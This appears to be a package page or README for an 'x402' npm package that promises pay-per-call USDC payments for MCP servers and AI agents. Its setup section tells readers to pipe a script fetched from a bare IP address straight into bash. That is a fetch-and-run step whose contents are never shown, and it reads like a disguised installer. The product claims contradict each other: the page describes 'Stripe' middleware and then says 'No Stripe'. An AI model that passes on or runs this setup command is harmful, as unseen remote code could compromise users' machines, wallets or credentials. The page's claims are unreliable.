Odel
gadgethumans x402

gadgethumans x402

Local
@scotia1973-bot1JavaScriptUpdated 1mo ago

One-line x402 + Stripe payment middleware for MCP servers. The Stripe for the agent economy.

x402 — Pay-per-Call Protocol for AI Agents

Pay USDC per API call on Base. No subscriptions, no signup, no credit card.

npm install x402

Quick Start

import x402 from 'x402';

const api = x402.init({
  endpoint: 'https://api.gadgethumans.com/v1/proxy',
  wallet: '0xYOUR_WALLET'
});

// Each call costs 0.01 USDC
const data = await api.get('https://yourapi.com/data');

Why x402

  • Pay per use — not per month. Fair for everyone.
  • USDC on Base — cheap (fractions of a cent per txn), fast (seconds).
  • No KYC — just a wallet. No Stripe, no bank account.
  • Open source — MIT license.

Docs

One-Command MCP Setup

curl -s https://167.88.167.30/install | bash

Integration

# Register your API to start collecting payments
curl -X POST https://api.gadgethumans.com/v1/proxy/register \
  -H "Content-Type: application/json" \
  -d '{"endpoint": "https://yourapi.com/data", "price_usdc": 0.01}'

License

MIT